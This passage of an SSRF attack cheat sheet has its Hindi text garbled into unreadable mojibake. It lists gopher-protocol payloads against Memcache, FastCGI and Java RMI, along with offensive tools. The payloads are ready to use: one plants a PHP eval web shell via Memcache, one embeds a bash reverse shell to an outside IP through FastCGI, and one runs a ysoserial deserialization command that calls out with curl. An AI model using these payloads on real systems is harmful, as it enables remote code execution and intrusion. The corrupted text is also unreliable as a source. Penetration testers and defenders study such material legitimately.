  * Memcache рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд╣рд░рдг Gopher рдкреЗрд▓реЛрдб```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/_ %0d%0adelete ssrftest%0d%0a



root@kitploit:~
    
    
    <div id="tomcat"></div>
    
    ## Apache Tomcat
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЗрдВрдб рдкреЛрд░реНрдЯ: 80,443 (SSL),8080,8443 (SSL)**
    
    рдХреЗрд╡рд▓ Tomcat 6 рдкрд░ рдкреНрд░рднрд╛рд╡реА:
    
    [gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
    
    рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ CTF рд░рд╛рдЗрдЯрдЕрдк:
    
    [XXE рд╕реЗ RCE рддрдХ: Pwn2Win CTF 2018 рд░рд╛рдЗрдЯрдЕрдк](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
    
    
    <div id="fastcgi"></div>
    
    ## FastCGI
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЗрдВрдб рдкреЛрд░реНрдЯ: 80,443 (SSL)**
    
    рдпрд╣ [рдпрд╣рд╛рдБ](https://blog.chaitin.cn/gopher-attack-surfaces/) рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред```bash
    gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
    

## Java RMI

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 1090,1098,1099,1199,4443-4446,8999-9010,9999**

рдмреНрд▓рд╛рдЗрдВрдб _SSRF_ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдЬреЛ рдордирдорд╛рдиреЗ рдмрд╛рдЗрдЯреНрд╕ (_gopher рдЖрдзрд╛рд░рд┐рдд_) рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ _Java RMI_ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдШрдЯрдХреЛрдВ (_RMI Registry_ , _Distributed Garbage Collector_ , _Activation System_) рдкрд░ deserialization рдпрд╛ codebase attacks рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реВрдЪреА рдкреЗрд▓реЛрдб рдЬрдирд░реЗрд╢рди рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдЦрд╛рддреА рд╣реИ:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

root@kitploit:~
    
    
    **Tools**
    
    <div id="gopherus"></div>
    
    ## Gopherus
    
    - [Gopherus - Github](https://github.com/tarunkant/Gopherus)
    - [Gopherus рдкрд░ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
    
    рдпрд╣ рдЯреВрд▓ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд▓рд┐рдП Gopher рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ:
    
    - MySQL
    - PostgreSQL
    - FastCGI
    - Redis
    - Zabbix
    - Memcache
    
    
    <div id="remote-method-guesser"></div>
    
    ## remote-method-guesser
    
    - [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
    - [SSRF рдЙрдкрдпреЛрдЧ рдкрд░ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
    
    *remote-method-guesser* рдПрдХ *Java RMI* рднреЗрджреНрдпрддрд╛ рд╕реНрдХреИрдирд░ рд╣реИ рдЬреЛ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рд╛рдорд╛рдиреНрдп *Java RMI*
    рднреЗрджреНрдпрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрдХреНрд░рдордг рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдЙрдкрд▓рдмреНрдз рдЕрдзрд┐рдХрд╛рдВрд╢ рдСрдкрд░реЗрд╢рди ``--ssrf`` рд╡рд┐рдХрд▓реНрдк рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдЕрдиреБрд░реЛрдзрд┐рдд рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП *SSRF*
    рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ``--gopher`` рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде, рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ *gopher* рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
    
    
    <div id="ssrfproxy"></div>
    
    ## SSRF Proxy
    
    - [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
    
    SSRF Proxy рдПрдХ рдорд▓реНрдЯреА-рдереНрд░реЗрдбреЗрдб HTTP рдкреНрд░реЙрдХреНрд╕реА рд╕рд░реНрд╡рд░ рд╣реИ рдЬрд┐рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ HTTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЙрди HTTP рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрдирд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЛрд░реНрдЬрд░реА (SSRF) рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред
    
    ---
    
    рд╢реНрд░реЗрдп:
    
    рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдпреЛрдЧрджрд╛рди рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓реЛрдЧреЛрдВ рдХреЛ рдзрдиреНрдпрд╡рд╛рдж:
    
    - [@Rhynorater - рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ рдЕрдиреЗрдХ рдпреЛрдЧрджрд╛рди](https://twitter.com/Rhynorater)
    - [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
    - [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
    - [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
    - [@fransrosen - SSRF рдХреИрдирд░реА рдЕрд╡рдзрд╛рд░рдгрд╛](https://twitter.com/fransrosen)
    - [@theabrahack - Jenkins Groovy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE](https://twitter.com/@theabrahack)
    - [@qtc_de - Java RMI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE](https://twitter.com/qtc_de)